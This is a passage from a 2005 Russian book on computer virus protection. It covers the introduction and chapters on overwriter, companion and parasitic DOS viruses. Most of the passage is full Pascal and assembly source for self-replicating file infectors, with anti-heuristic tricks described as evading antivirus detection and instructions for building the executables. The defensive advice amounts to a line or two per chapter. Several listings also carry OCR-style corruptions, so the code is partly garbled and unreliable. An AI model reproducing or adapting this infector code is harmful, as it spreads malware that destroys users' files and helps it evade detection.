Энциклопедия по защите от вирусов
Станислав Гошко
СОЛОН-Пресс, Москва, 2005
ISBN 5-98003-196-0
2005
[
Вернуться к списку] [
Комментарии (1)]
Отрывок. Главы 1-5.
Серия "Аспекты защиты"
С. В. Гошко
ЭНЦИКЛОПЕДИЯ ПО ЗАЩИТЕ ОТ ВИРУСОВ
2-е издание, дополненное
Москва
СОЛОН-Пресс
2005
УДК 621.38
ББК 32.844-02
Г18
С. В. Гошко
Г18 Энциклопедия по защите от вирусов. 2-е изд., доп. — М.: СОЛОН-Пресс.
2005. — 352 с: ил. — (Серия «Аспекты защиты»).
ISBN 5-98003-196-0
Данная книга относится к пособиям, которые в зарубежной литературе часто
обозначают термином «все-в-одном». Читателю предлагается шаг за шагом вслед
за автором пройти путь от понятий «компьютерный вирус» и «защита программного
обеспечения» до конкретных методик борьбы с попытками разрушения информации,
хранящейся в персональном компьютере. Материал книги четко структурирован, —
если вы уже имеете некоторые знания по данной тематике, это позволит вам
перейти к рассмотрению отдельных интересующих вопросов, не останавливаясь
на общих положениях.
Наряду с подробным текстовым материалом, впервые приведена обширная
подборка листингов программ, с помощью которых можно самостоятельно
создавать простейшие вирусы. Это позволит читателю глубже разобраться
в природе вредоносных программ и понять, какие лазейки и бреши могут
использовать вирусы при атаках на компьютер. Процесс анализа листингов
поможет школьникам и студентам, интересующимся программированием на
языках низкого уровня в более углубленном изучении информатики. У
продвинутых пользователей интерес вызовут главы, посвященные описанию
графических и музыкальных вирусов, а также способам маскировки и
внедрения вирусов через Интернет.
Книга написана живым доступным языком и является универсальным пособием
как для программистов, так и для широкого круга читателей, интересующихся
вопросами защиты данных, хранящихся в персональном компьютере.
УДК 621.38
ББК 32.844.-02
ISBN 5-98003-196-0 © Макет и обложка «СОЛОН-Пресс», 2005
© С. В. Гошко, 2005
Введение
Данная работа — это всего лишь попытка автора объяснить принципы функционирования компьютерных вирусов и возможности борьбы с ними. В данном труде представлена эволюция компьютерных вирусов. Описание методов их разработки будет идти от простого к сложному, как и методов борьбы с ними. От читателя потребуются хотя бы минимальные знания программирования и желание учиться и познавать. Описание создания вирусов будет идти в соответствии с их эволюцией и развитием.
Первые упоминания о компьютерных вирусах появились в трудах писателей-фантастов, первый из которых Т. Дж. Райн, который в 70-х годах двадцатого века впервые упомянул эпидемию, поразившую 7000 компьютеров. А уже в конце 80-х гг. XX в. проблема компьютерных вирусов стала реальностью.
Итак, что же такое компьютерный вирус? Компьютерный вирус — это такая программа, которая ведет себя примерно также, как и живой вирус, т. е.:
- размножается;
- маскируется;
- выполняет вредоносные воздействия.
Но главный из этих пунктов — размножение, потому что все живые организмы стремятся к воспроизводству, так и компьютерные вирусы этим живым вирусам подражают. Первое, что можно сказать о создателях вирусов, так это то, что они в любом случае программисты, и в большинстве случаев создание вирусов это их хобби. Но еще хочется заметить, что для написания вирусов необходимы хорошее воображение и профессионализм для создания как минимум грамотного вируса.
Стадия размножения вируса называется пассивной. Во время нее вирус себя никак не проявляет. Стадия размножения может длиться от нескольких секунд до нескольких лет.
Стадию активного размножения вируса (например, с сопутствующим уничтожением данных или аппаратного обеспечения компьютера) называют атакой вируса. Но совсем не обязательно, что вирус будет что-то уничтожать или портить. Он может, например, просто вывести сообщение «привет», и это действие тоже классифицируется как вирусная атака.
Когда я только начинал заниматься компьютерными вирусами, меня интересовал вопрос, как же они все-таки устроены. Надеюсь, читателя этот вопрос тоже интересует, и эта книга — ответ на него. Может быть, этот ответ не полный, может быть, однобокий, но все же ответ.
Необходимо рассмотреть возможности классификации вирусов. Компьютерные вирусы можно классифицировать по ОС, в которых они работают:
- DOS вирусы;
- Windows вирусы;
- Macro вирусы (среда обитания документы Microsoft Office);
- *nix вирусы.
Далее существуют возможности классификации компьютерных вирусов по типу инфицируемых файлов:
- СОМ вирусы;
- ЕХЕ вирусы;
- ВАТ вирусы;
- DOC вирусы;
- и т. д.
Так же вирусы можно классифицировать по методам их размножения:
- OVERWRITER;
- COMPANION;
- PARASITIC.
Наиболее простыми вирусами являются вирусы типа OVERWRITER и COMPANION, более сложными являются вирусы типа PARASITIC.
Также вирусы могут быть усложнены технологиями используемыми в них.
Описание вирусов в книге будет идти по принципу от простого к сложному.
Итак, к делу...
DOS вирусы
Методы размножения вирусов
Глава 1. Простейшие overwriter вирусы
Рассмотрим вирусы типа overwriter, что означает «перезаписывающий». На настоящий момент такие вирусы сохранились как соревнование на самый маленький вирус, и сейчас первенство удерживает вирус размером всего в 4 байта под названием kyjack. При запуске он записывает себя на все сектора дискеты. Вот эти 4 байта: 8В DE CD 261.
На каких же языках программирования пишут вирусы, спросите вы, а я отвечу — на любых, но в основном предпочитают Ассемблер, почему — сейчас мы и разберемся.
Возьмем для примера простейший вирус на Паскале, который я написал в далеком 1999 г., также относящийся к типу overwriter.
Рассмотрим принцип его работы.
- Найти файл-жертву в текущем каталоге.
- Переписать свое тело в файл-жертву (файл-жертва при этом перезаписывается).
- Вывести сообщение о том, кто мы.
- Переходим на пункт 1, пока 250 файлов не будут заражены.
Данный вирус антивирусами не обнаруживается по причине использования компилятора фирмы Borland. По словам некоторых специалистов, это самый лучший антиэвристический прием.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
Вот сам листинг:
{---------------------------------------------}
program overwriter;
uses ds;
const
virlen=3872; {Длина вируса в байтах}
type
mas=array[1..250] of string; {Массив для хранения имен файлов
var
n,i:integer;
d:mas;
{---------------------------------------------}
procedure find(var ff:mas;var kol:integer); {Процедура поиска файлов сразу всех}
var
dirinfo:searchrec;
begin
findfirst('*.exe',$3F,dirinfo); {DOS функция findfirst}
ff[1]:=dirinfo.name;
kol:=1;
i:=2;
while i<=250 do
begin
findnext(dirinfo);
ff[i]:=dirinfo.name;
if ff[i]=ff[i-1] {Если предыдущий файл равен}
then begin
ff[i]:=''; {следующему, значит, файлы кончились}
break;
end;
kol:=kol+1;
i:=i+1;
end;
end;
{---------------------------------------------}
procedure infect(var filename:string)
var
f,f2:text;
i:integer;
a:char;
begin
assign(f,paramstr(O)); {связываем одну файловую переменную с собой)
assign(f2,filename); {а другую с жертвой}
reset(f); {открываем себя на чтение}
rewrite(f2); {а жертву на запись}
for i:=1 to virlen do
begin
read(f,a); {побайтно копируем себя}
write(f2,a); {в файл-жертву}
end;
close(f2); {закрываем}
close(f); {файлы}
end;
{---------------------------------------------}
begin
find(d,n); {ищем файлы}
for i:=1 to n do
begin
if pos(d[i],paramstr(0))=0 {сами себя не заражаем}
then infect(d[i]); {заражаем найденные файлы}
ena;
write('[SimPl3 0w3rwrit3 ViRuS] (C)Copyright SlOn,1999'); {представляемся}
readln; {ждем нажатия кнопки и уходим}
end.
{---------------------------------------------}
Язык программирования Паскаль очень прост для понимания, поэтому я сейчас обьясню только смысл работы вирусной программы, не вдаваясь в описание каждой функции (они и так подробно прокомментированы).
Первое, что программа делает — запускает процедуру поиска (find()). В качестве параметров процедуре нужно передать массив строк и целочисленную переменную. Данная процедура возвращает заполненный массив строк и измененную переменную с количеством найденных файлов (их имена хранятся в строковом массиве). Затем идет безусловный цикл по количеству найденных файлов, и перед заражением каждый файл проверяется на то, чтобы его имя не совпадало с именем вирусной программы. Если совпадает, то сами себя мы не заражаем. Заражение происходит посредством вызова процедуры инфицирования (infect()), которая побайтно копирует файл-вирус в файл-жертву. В конце выводится сообщение (обычно название вируса и имя автора), и после нажатия клавиши программа завершается.
Итак, в результате мы получили программу почти в 4 Кб2, и почти на 2 страницы исходного текста.
Теперь посмотрим на аналогичный вирус, выполненный на Ассемблере. Смысл и методика его работы те же.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- а) до инфицирования:
- после инфицирования:
Вот листинг:
cseg segment
assume cs:cseg,ds:cseg
org 100h
start:
mov ah, 09h ;
lea dx, msg ; Итак, представимся
int 21h ;
mov ah, 4eh ; DOS-функция "найти первый файл"
find:
db 068h ; это антиэвристический
dw OFFSET @avp ; прием,
ret ; взятый мной из вирусного журнала
pop ax ; Infected Voice
@avp:
lea dx, file1 ; маска файла для поиска
int 21h ; найти первый файл
infect:
mov ax, 3d01h ;
mov dx, 09Eh ; откроем его на запись
int 21h ;
xchg ax, bx ; хэндл файла в bx
mov ah, 40h ; будем записывать
mov cl, 89 ; сколько байт будем записывать [наша длина]
mov dx, 100h ; с какой позиции? С начала, конечно
int 21h ; писать сейчас !
mov ah,3eh ; закроем файл
int 21h ;
mov ah,4Fh ; найдем новый
int 21h ;
jnc infect ; и заразим
int 20h ; конец
filel db '*.ехе',0
msg db '[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'
cseg ends
end start
Язык Ассемблера более сложен для понимания, чем Паскаль, поэтому второй вирус рассмотрим более подробно.
Начнем с первого блока инструкций:
mov ah, 09h ;
lea dx, msg ; Итак, представимся
int 21h ;
Данный блок инструкций выводит на экран текстовое сообщение: "[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n"
Первая инструкция «mov ah,09h» говорит о том, что будет использоваться 9 функция 21 прерывания (int 21h) — вывод на экран. В верхний байт регистра, ах помешается значение 9. Вторая инструкция «lеа dx,msg» говорит о том, какое сообщение выводим (в конце символьной строки должен присутствовать — символ конца строки). В регистр dx помещается смещение символьной строки msg. Третья инструкция «int 21h» непосредственно вызывает 21 прерывание.
Рассмотрим второй блок3:
find:
db 068h ; это антиэвристический !!!
dw OFFSET @avp ; прием, !!!
ret ; взятый мной из вирусного журнала !!!
pop ax ; Infected Voice !!!
@avp:
lea dx, file1 ; маска файла для поиска
int 21h ; найти первый файл
Данный блок инструкций занимается поиском файлов (антиэвристический прием, отмеченный восклицательными знаками, пока рассматривать не будем).
Первая инструкция «mov ah,4eh» — DOS-функция «найти первый файл». Вторая инструкция «lеа dx,file1» — в регистр dx помещается смещение маски поиска файлов (file1), т. е. заражать только *.ехе файлы (маска должна заканчиваться нулевым байтом). Третья инструкция «int 21h» непосредственно вызывает 21 прерывание.
Перейдем к третьему блоку:
mov ax, 3d01h ;
mov dx, 09Eh ; откроем его на запись
int 21h ;
Данный блок инструкций занимается открытием найденного файла (в режиме записи).
Первая инструкция «mov ax,3d01h» — DOS-функция «открыть файл в режиме записи». Вторая инструкция «mov dx,09eh» — какой файл открываем? Найденный. Третья инструкция «int 21h» непосредственно вызывает 21 прерывание.
Рассмотрим четвертый блок:
xchg ax, bx ; хэндл файла в bx
mov ah, 40h ; будем записывать
mov cl, 89 ; сколько байт будем записывать [наша длина]
mov dx, 100h ; с какой позиции? С начала, конечно
int 21h ; писать сейчас !
Данный блок инструкций непосредственно переписывает вирус в файл-жертву.
Первая инструкция «xchg ах,bх» — после открытия файла хэндл файла остался в регистре ах, для того чтобы записывать в этот файл, нужно хэндл перенести в bx (операция «xchg ax,bx» обменивает содержимое регистров ах и bх). Вторая инструкция «mov ah,40h» — DOS-функция записывать в файл. Третья инструкция «mov cl,89» — сколько байт будем записывать (длина вируса 89 байт). Четвертая инструкция «mov dx,100h» говорит о том, что будем переписывать с начала вируса (вирус начинается со 100h). Пятая инструкция «int 21h» непосредственно вызывает 21 прерывание.
Теперь пятый блок:
mov ah,3eh ; закроем файл
int 21h ;
Данный блок закрывает файл после записи.
Первая инструкция «mov ah,3eh» — DOS-функция «закрыть файл». Вторая инструкция «int 21h» непосредственно вызывает 21 прерывание.
Перейдем к шестому:
mov ah,4Fh ; найдем новый
int 21h ;
jnc infect ; и заразим
Данный блок занимается поиском нового файла.
Первая инструкция «mov ah,4fh» — DOS-функция «найти следующий файл». Вторая инструкция «int 21h» непосредственно вызывает 21 прерывание. Третья инструкция «jnc infect» — это проверка: если файл найден, перейти к его заражению, на метку infect.
И последний, седьмой блок:
int 20h ; конец
Первая инструкция «int 20h» завершает работу программы, возвращая управление ОС.
Данный вирус некоторыми антивирусами не обнаруживается из-за антиэвристического приема. После компоновки его объем составляет 89 байт. Неплохо по сравнению с 4 Кб? Да и исходного текста в нем поменьше. Теперь, я думаю, вам понятно, почему в основном для написания вирусов используют язык Aссемблера.
Чтобы привести эти листинги в рабочее состояние, необходимо сделать следующее:
- для вируса на Паскале сохранить вирус в файл с расширением *.pas, открыть листинг в оболочке Паскаля и нажать F9, после этого в той директории, где лежал листинг, появится еще и исполнимый файл;
- для вируса на Ассемблере сохранить в файл с расширением *.asm, затем выполнить из командной строки:
tasm vir.asm
tlink vir.obj /t
После этого появится файл vir.com, который можно переименовать в vir.exe4 или не переименовывать, а прямо так и использовать.
Борьба с вирусами данного типа очень проста: достаточно выделить по маске вирус (если он не полиморфный) и удалить файл. После инфицирования программа, которая заражена, восстановлению не подлежит, поэтому инфицированные программы просто удаляются.
Алгоритм антивируса:
- обнаружить инфицированную программу;
- удалить инфицированную программу.
Написание антивирусной программы останется на совести читателей.
Глава 2. Простейшие companion-вирусы
Итак, мы подошли к вирусам-компаньонам. Что же это такое? Давайте разберемся... Данные вирусы действуют в основном по следующему алгоритму.
- Находят исполнимый файл, если быть более конкретным, то *.ехе (example.exe).
- Копируют себя в *.com файл с аналогичным именем (example.com).
- Выполняют какие-то действия (форматирование винчестера, ...).
- Запускают программу iam.exe, если сам вирус находится в iam.com.
Смысл данных действий будет понятен тем людям, которые хорошо знают DOS. Вот если человек хочет запустить в DOS программу hello.exe, он набирает в приглашении «c:\hello», тогда DOS запускает hello.exe, если других файлов с аналогичным именем и отличным расширением нет (таких как hello.bat, hello.com). Если же есть hello.bat, то запускается он, а если hello.bat отсутствует, а есть hello.com, то выполняется он. На использовании этого факта и основан данный вирус.
Вообще этот вид вирусов, как и overwriter, себя давно изжил и сейчас практически нигде не встречается.
Существуют более сложные компаньон-вирусы, которые, к примеру, еще шифруют исполнимый файл оригинальной программы, а при запуске вируса расшифровывают и исполняют его. Это все делается для того, чтобы усложнить лечение данного вируса.
Но данные вирусы, как уже говорилось ранее, себя изжили, и потому мы остановимся на их простейшей реализации. Эти два вируса работают по алгоритму, описанному в самом начале данной части.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
Теперь рассмотрим два прокомментированных листинга компаньон-вирусов. Первый — на Паскале:
{---------------------------------------------}
{$m,8192,0,0} {Выделяем память для DOS}
program test;
uses dos,crt; {используемые библотеки}
type
mas=array[1..250] of string; {Массив для имен файлов}
var
n,i;integer;
d:mas; {переменные}
f:file;
{---------------------------------------------}
procedure find(var ff;mas;var kol:integer); {Процедура поиска сразу всех файлов}
var
dirinfo:searchrec;
begin
findfirst('*.exe',$3F,dirinfo); {DOS функция findfirst}
ff[1]:=dirinfo.name;
kol:=1;
while 1<2 do
begin
findnext(dirinfo); {DOS функция findnext}
ff[i]:=dirinfo.name;
if ff[i]=ff[i-1] {Если предыдущий файл равен}
then begin
ff[i]:=''; {следующему, значит файлы закончились}
break;
end;
kol:=kol+1;
end;
end;
procedure copier(file1,file2:string); {процедура копирования файлов}
var {основана на использовании команды сору}
a: integer; {из стандартного пакета DOS}
begin
swapvectors; {Можно было бы использовать процедуру}
exec(getenv('COMSPEC'),'/С '+'сору '+file1+' '+file2);
swapvectors; {Из предыдущего вируса}
end;
{---------------------------------------------}
function pr(file2:string):string; {Функция для}
begin
delete(file2,length(file2)-3,4); {Преобразование имени файла}
file2:=file2+'.com'; {Из *.exe в *.com}
pr:=file2;
end;
{---------------------------------------------}
function pr2(file2:string):string; {Функция для}
begin
delete(file2,length(file2)-3,4); {Преобразование имени файла}
file2:=file2+'.exe'; {Из *.com в *.exe}
pr2:=file2;
end;
{---------------------------------------------}
begin
find(d,n); {Ищем *.exe файлы}
for i:=1 to n do
begin
copier(paramstr(0),pr(d[i])); {создаем аналогичные *.com файлы}
clrscr; {очистка экрана}
end;
if pos('.exe',paramstr(0))<>0 {если это первый запуск или что-то случилось}
then halt; {тогда уходим}
swapvectors;
exec(pr2(paramstr(0)),paramstr(1)); {запускаем оригинальную программу}
swapvectors;
writeln;
writeln('=[SimPl3 C0mP4ni0n ViRuS]= by s10n '); {И выводим сообщение}
end.
{---------------------------------------------}
Давайте рассмотрим алгоритм данного вируса. Первая процедура — это find(), идентичная такой же процедуре в описанном ранее вирусе. Вторая процедура — copier() — получает в качестве параметров два имени файла. Она копирует первый файл во второй DOS-командой «сору file1 file2». Процедура pr() получает в качестве параметра имя файла, к примеру vasya.exe, и преобразовывает это имя в *.com формат. Получится vasya.com. Процедура pr2() использует в качестве параметра имя файла, но преобразует в *.ехе формат.
Теперь рассмотрим основной алгоритм программы. Как и в предыдущем вирусе (имеется в виду вариант на Паскале), сначала идет поиск файлов *.exe. Затем вирус копируется в файлы с аналогичным именем, но другим расширением (*.com). Далее идет проверка. Если мы стартовали из *.ехе, то завершаем программу. Если же мы стартовали из *.com файла, то запускаем файл оригинальной программы (*.ехе) и после завершения его работы выводим сообщение (название вируса и имя автора).
Теперь опишем аналогичный вирус, но на Ассемблере, который, естественно, гораздо меньше и проще, но работает по тому же принципу. Для того чтобы он нормально работал, его необходимо собрать в *.com файл. Как это сделать было рассказано в предыдущей части.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
Вот листинг:
cseg segment
assume cs:cseg,ds:cseg,es:cseg
org 100h
start:
;----------------------------------------------
lea bx, dta+30 ; Свяжем bx с именем файла
mov al, [bx] ; Загрузим в al первый символ из bx
cmp al, '.' ; Проверим, точка ли это?
inc bx ; Переходим к следующему символу
je izm ; Если да, то идем на метку изменения расширения
jmp pov
izm:
mov al,'e' ; Положим символ 'е' в al
mov [bx],al ; Положим в DTA символ из al
inc bx ; Перейдем к следующему символу
mov al,'x' ; Положим символ 'х' в al
mov [bx],al ; Положим в DTA символ из al
inc bx ; Перейдем к следующему символу
mov al,'e' ; Положим символ 'е' в al
mov [bx],al ; Положим в DTA символ из al
; Мы-то запустились из *.com файла, но изменили свое
; расширение на *.exe (т. е. запустим настоящую программу)
mov ah,4ah ; Выделим памяти побольше
mov bx,5000h ; Для запуска оригинальной программы из нашего
int 21h ; двойника
mov ah,4bh ;
mov al,00 ;
lea dx,dta+30 ; Запустим настоящую программу
int 21h ;
;----------------------------------------------
mov ah,1аh ;
lea dx,dta ; Указатель на новый DTA
int 21h ;
mov ah,4eh ; Функция findfirst
lea dx,file1 ; Найдем первый *.ехе
int 21h
infect:
lea bx,dta+30 ; Свяжем bx с именем файла
pov2:
mov al,[bx] ; Загрузим в al первый символ из Ьх
cmp al,'.' ; Проверим, точка ли это?
inc bx ; Переходим к следующему символу
je izm2 ; Если да, то идем на метку изменения расширения
jmp pov2
izm2:
mov al,'c' ; Положим символ 'с' в al
mov [bx],al ; Положим в DTA символ из al
inc bx ; Перейдем к следующему символу
mov al,'o' ; Положим символ 'о' в al
mov [bx],al ; Положим в DTA, символ из al
inc bx ; Перейдем к следующему символу
mov al,'m' ; Положим символ 'm' в al
mov [bx],al ; Положим в DTA, символ из al
;----------------------------------------------
mov ah,3ch ; Функция создания файла-двойника
lea dx,dta+30 ; Т. е. с идентичным именем, но отличным расширением
xor cx,cx ; Если был найден hi.exe, то создадим hi.com
int 21h ;
mov ax,3d02h ; Откроем только что созданный файл
lea dx,dta+30 ; Для чтения/записи
int 21h ;
xchg ax,bx ; Положим в bx хэндл файла
mov ah,40h ; Функция записи в файл
int 1h ; Антиэвристика - антивирусы нас не найдут
mov cl,len ; Перепишем весь наш вирус с самого начала
mov dx,100h ; И до конца в файл-двойник
int 21h ;
mov ah,4Fh ; Функция findnext
int 21h ;
jnc infect ; Если еще что-то есть, то заражаем
mov ah,09h ; Выведем сообщение
lea dx,msg ; О том, кто мы есть
int 21h ;
int 20h ; Конец программы
msg db 0ah, 0dh, "-[SiMpL3 C0mp4ni0n ViRuS] by s10n$"
file1 db '*.exe',0
dta db 43 dup(?)
len equ $-start
cseg ends
end start
Рассмотрим более подробно предыдущий вирус.
Начнем, естественно, с первого блока инструкций:
lea bx, dta+30 ; Свяжем bx с именем файла
mov al, [bx] ; Загрузим в al первый символ из bx
cmp al, '.' ; Проверим, точка ли это?
inc bx ; Переходим к следующему символу
je izm ; Если да, то идем на метку изменения расширения
jmp pov
В данном блоке идет поиск начала расширения файла.
Первая инструкция «lеа bx,dta+30» кладет в регистр bx смещение на имя файла. Вторая инструкция «mov al,[bx]» кладет нижний байт регистра ах первый символ из имени файла. Третья инструкция «cmp al,'.'» проверяет, не точка ли это т. е. дошли ли мы до расширения в имени файла. Четвертая инструкция «inc bx» — переходим к следующему символу в имени файла. Пятая инструкция «je izm» — если точка, то переходим на метку изменения расширения файла. Шестая инструкция «jmp pov» — если точка в имени файла не найдена, продолжаем поиск.
Второй блок:
izm:
mov al,'e' ; Положим символ 'е' в al
mov [bx],al ; Положим в DTA символ из al
inc bx ; Перейдем к следующему символу
mov al,'x' ; Положим символ 'х' в al
mov [bx],al ; Положим в DTA символ из al
inc bx ; Перейдем к следующему символу
mov al,'e' ; Положим символ 'е' в al
mov [bx],al ; Положим в DTA символ из al
; Мы-то запустились из *.com файла, но изменили свое
; расширение на *.exe (т. е. запустим настоящую программу)
В данном блоке расширение файла меняется на *.ехе.
Все инструкции данного блока были рассмотрены в предыдущем, поэтому подробное комментирование излишне.
Перейдем к третьему блоку:
mov ah,4ah ; Выделим памяти побольше
mov bx,5000h ; Для запуска оригинальной программы из нашего
int 21h ; двойника
В данном блоке выделяется память для запуска оригинальной программы (не двойника).
Первая инструкция «mov ah,4ah» — это DOS-функция изменения размера блока памяти. Вторая инструкция «mov bx,5000h» — в регистр bx ложится новый размер блока памяти. Третья инструкция очевидна.
Теперь четвертый блок:
mov ah,4bh ;
mov al,00 ;
lea dx,dta+30 ; Запустим настоящую программу
int 21h ;
В данном блоке запускается оригинальная программа. Если же мы стартуем первый раз и не из файла-двойника, то блок с данными о файле (dta) будет пуст, и ничего не запустится.
Первая инструкция «mov ah,4bh» — это DOS-функция запуска программы. Вторая инструкция «mov al,00» — это тип загрузки (в данном случае загрузить и выполнить) Третья инструкция «lеа dx,dta+30» — в dx загружается имя выполняемого файла. Четвертая инструкция «int 21h» — вызов 21 прерывания.
Переходим к пятому блоку:
mov ah,1аh ;
lea dx,dta ; Указатель на новый DTA
int 21h ;
Данный блок вызывает DOS-функцию 1ah для установки адреса DTA (disk transfer area). Все данные о найденных файлах теперь будут храниться в переменной dta.
Шестой блок:
mov ah,4eh ; Функция findfirst
lea dx,file1 ; Найдем первый *.ехе
int 21h
infect:
lea bx,dta+30 ; Свяжем bx с именем файла
pov2:
mov al,[bx] ; Загрузим в al первый символ из Ьх
cmp al,'.' ; Проверим, точка ли это?
inc bx ; Переходим к следующему символу
je izm2 ; Если да, то идем на метку изменения расширения
jmp pov2
izm2:
mov al,'c' ; Положим символ 'с' в al
mov [bx],al ; Положим в DTA символ из al
inc bx ; Перейдем к следующему символу
mov al,'o' ; Положим символ 'о' в al
mov [bx],al ; Положим в DTA, символ из al
inc bx ; Перейдем к следующему символу
mov al,'m' ; Положим символ 'm' в al
mov [bx],al ; Положим в DTA, символ из al
В данном блоке производится поиск файла с расширением *.ехе (его имя хранится в переменной dta по смещению 30), затем его расширение заменяется на *.com (опять же не самого файла, а его имени в переменной dta).
Добрались до седьмого блока:
mov ah,3ch ; Функция создания файла-двойника
lea dx,dta+30 ; Т. е. с идентичным именем, но отличным расширением
xor cx,cx ; Если был найден hi.exe, то создадим hi.com
int 21h ;
В данном блоке создается *.com файл-двойник, в качестве пояснения комментария к коду.
Ну, и последний, восьмой блок:
mov ax,3d02h ; Откроем только что созданный файл
lea dx,dta+30 ; Для чтения/записи
int 21h ;
xchg ax,bx ; Положим в bx хэндл файла
mov ah,40h ; Функция записи в файл
int 1h ; Антиэвристика - антивирусы нас не найдут
mov cl,len ; Перепишем весь наш вирус с самого начала
mov dx,100h ; И до конца в файл-двойник
int 21h ;
mov ah,4Fh ; Функция findnext
int 21h ;
jnc infect ; Если еще что-то есть, то заражаем
mov ah,09h ; Выведем сообщение
lea dx,msg ; О том, кто мы есть
int 21h ;
int 20h ; Конец программы
Данный блок занимается непосредственным переносом тела вируса в только что созданный файл-двойник, также он продолжает искать жертвы и заражать их. В конце выводится сообщение с названием вируса, и завершается работа вирусной программы. Все инструкции в данном блоке были подробно рассмотрены в описании вируса overwriter, и комментировать их второй раз я не вижу смысла.
Борьба с вирусами данного типа довольна примитивна. Необходимо всего лишь удалить файл-двойник с расширением «*.com».
Глава 3. Простейшие parasitic-вирусы
Вот мы и добрались до одной из самых интересных частей этого повествования. В ней пойдет речь о самых распространенных на сегодняшний день вирусах. Принцип действия таков, что они изменяют сам файл-жертву таким образом, что он не теряет своей функциональности, то есть паразитируют на нем. Алгоритм всех вирусов-паразитов примерно следующий.
- При запуске зараженной программы вирус получает управление, выполняет свои функции по размножению (возможно, деструктивные).
- Возвращает управление программе-носителю паразита, и она выполняется, как и должна.
Следует заметить, что вирус обычно работает достаточно быстро, и пользователь не успевает заметить какой-то разницы при работе с зараженной и незараженной программы.
Реализация на Паскале более или менее полноценного паразита довольно неприятна. Для примера я приваду листинг *.com паразита, который работает по следующему алгоритму:
- находит все жертвы в текущем каталоге;
- если найден файл vasya.com, то в строковую переменную положит преобразованное имя файла vasya.tmp;
- проверяет, заражен или нет файл vasya.com. Если да, то переходит к следующему файлу; если нет, то на шаг 4;
- записывает vasya.com в vasya.tmp5;
- записывает тело вируса в vasya.com;
- дописывает в vasya.com из файла vasya.tmp;
- удаляет vasya.tmp;
- проверяет длину файла, и если файл, из которого мы запустились, больше длины вируса, то переписывает все, что находится после тела вируса, в файл 31337.com;
- запускает его, и после того как он отработает, удаляет его же;
- выводит сообщение;
- заканчивает работу.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
А вот и листинг, как всегда, прокомментированный, но для чистоты совести следует сказать, что вирус идентифицируется AVP как «код подозрительный для вируса HLL_type».
{---------------------------------------------}
{$m, 8126, 0, 0} {Выделяем память для DOS}
program parasit;
uses dos; {используемые библотеки}
type
mas=array[1..200] of string; {Массив для имен файлов}
var
d:mas;
n,i:integer;
st:string;
virlen,fsize:longint; {переменные}
f:file of char;
exehead:char;
{---------------------------------------------}
procedure find(var ff:mas;var kol:integer); {Процедура поиска файлов сразу всех}
var
dirinfo:searchrec;
begin
findfirst('*.com',$3F,dirinfo); {DOS-функция findfirst}
ff[1]:=dirinfo.name;
kol:=1;
i:=2;
while 1<2 do
begin
findnext(dirinfo); {DOS-функция findnext}
ff[i]:=dirinfo.name;
if ff[i]=ff[i-1]
then begin
ff[i]:=''; {Если предыдущий файл равен}
break; {следующему, значит файлы закончились
end;
kol:=kol+1;
i:=i+1;
end;
end;
{---------------------------------------------}
procedure infect(s1:string;s2:string;append1;boolean;sz:longint);
var {процедура копирования файлов}
f,f2:text;
j:integer;
a:char;
begin
assign(f,s1); {связываем одну файловую переменную с файлом, откуда копируем}
assign(f2,s2); {а другую - с файлом, куда копируем}
reset(f);
if append1 {дописываем или нет?}
then append(f2)
else rewrite(f2);
for j:=1 to sz do
begin
read(f,a); {Читаем один символ из файла-источника}
write(f2,a); {Пишем один символ в-файл-приемник}
end;
close(f); {Закрываем}
close(f2); {оба файла}
end;
{---------------------------------------------}
proceaure restore; {Процедура восстановления оригинальной программы}
var
d,d2:file of char;
sd:string;
ch;char;
j1:integer;
begin
sd:='31337.com'; {Из этого файла запустим оригинальную программу}
assign(d,paramstr(0));
reset(d); {Откроем себя на чтение}
assign(d2,sd);
seek(d,virlen);
rewrite(d2);
for j1:=1 to filesize(d)-virlen do
begin
read(d,ch); {И перепишем оригинальную программу, которая находится после}
write(d2,ch); {тела вируса, в файл 31337.com}
end;
close(d); {закроем оба файла}
close(d2);
swapvectors;
exec(sd,paramstr(1)); {запустим оригинальную программу, которая сейчас}
swapvectors; {в файле 31337.com}
erase(d2); {удалим файл 31337.com}
end;
{---------------------------------------------}
begin
virlen:=6000; {длина вируса}
find(d,n); {найдем все *.com файлы}
for i:=1 to n do
begin
if d[i]='' then break; {если таковых нет, то на выход}
st:=d[i];
delete(st,length(st)-3,4);
st:=st+'.tmp';
assign(f,d[i]);
reset(f);
read(f,exehead);
if (exehead<>'M') and (filesize(f)+virlen<=65535)
then begin {если файл уже заражен, то к следующему}
fsize:=filesize(f);
close(f);
infect(d[i]tst,false,fsize); {перепишем оригинальную}
{программу в *.tmp файл}
infect(paramstr(0),d[i],false,virlen); {запишем тело вируса}
{в файл-носитель}
infect(st,d[i],true,fsize); {допишем из *.tmp файла ориг.}
{программу после тела вируса}
assign(f,st);
erase(f); {удалим временный файл}
end;
end;
assign(f,paramstr(0));
reset(f);
if filesize(f)>virlen {проверим, если мы стартовали из зараженной программы, то}
then restore; {запустим оригинальную программу}
write(chr(13),chr(10), '[SiMpL3 PaRaSiTiC ViRuS] by s10n'); {выведем сообщение}
end. {конец}
{---------------------------------------------}
Опишем работу этого вируса более подробно.
Данный вирус состоит из трех процедур и главной программы. Рассмотрим процедуры в порядке очередности.
- Процедура find() (подробно описана в предыдущих главах).
- Процедуру infect() следует рассмотреть более пристально.
Данная процедура в качестве параметров получает:
- имя файла, откуда копируем;
- имя файла, куда копируем;
- логический параметр (append), говорящий о том, дописываем ли мы в файл или переписываем файл с самого начала;
- количество переписываемых байт.
Необходимость в этих параметрах будет обсуждена несколько позднее.
- Процедура restore, как уже ясно из названия, запускает программу, на которой паразитирует вирус.
Рассмотрим принцип ее работы:
- эта процедура никаких параметров не получает;
- сначала создается файл с именем «31337.com» и открывается на запись;
- затем открывается файл на чтение, из которого мы стартовали, и идет переход на оригинальную программу, которая следует сразу за вирусом (seek(d,virlen));
- после этого программа из зараженного файла копируется в файл «31337.com» (получается, что в этом файле находится незараженная программа);
- в конце она запускается («31337.com») и после завершения работы удаляется;
- в переменную fsize помещается размер заражаемого файла;
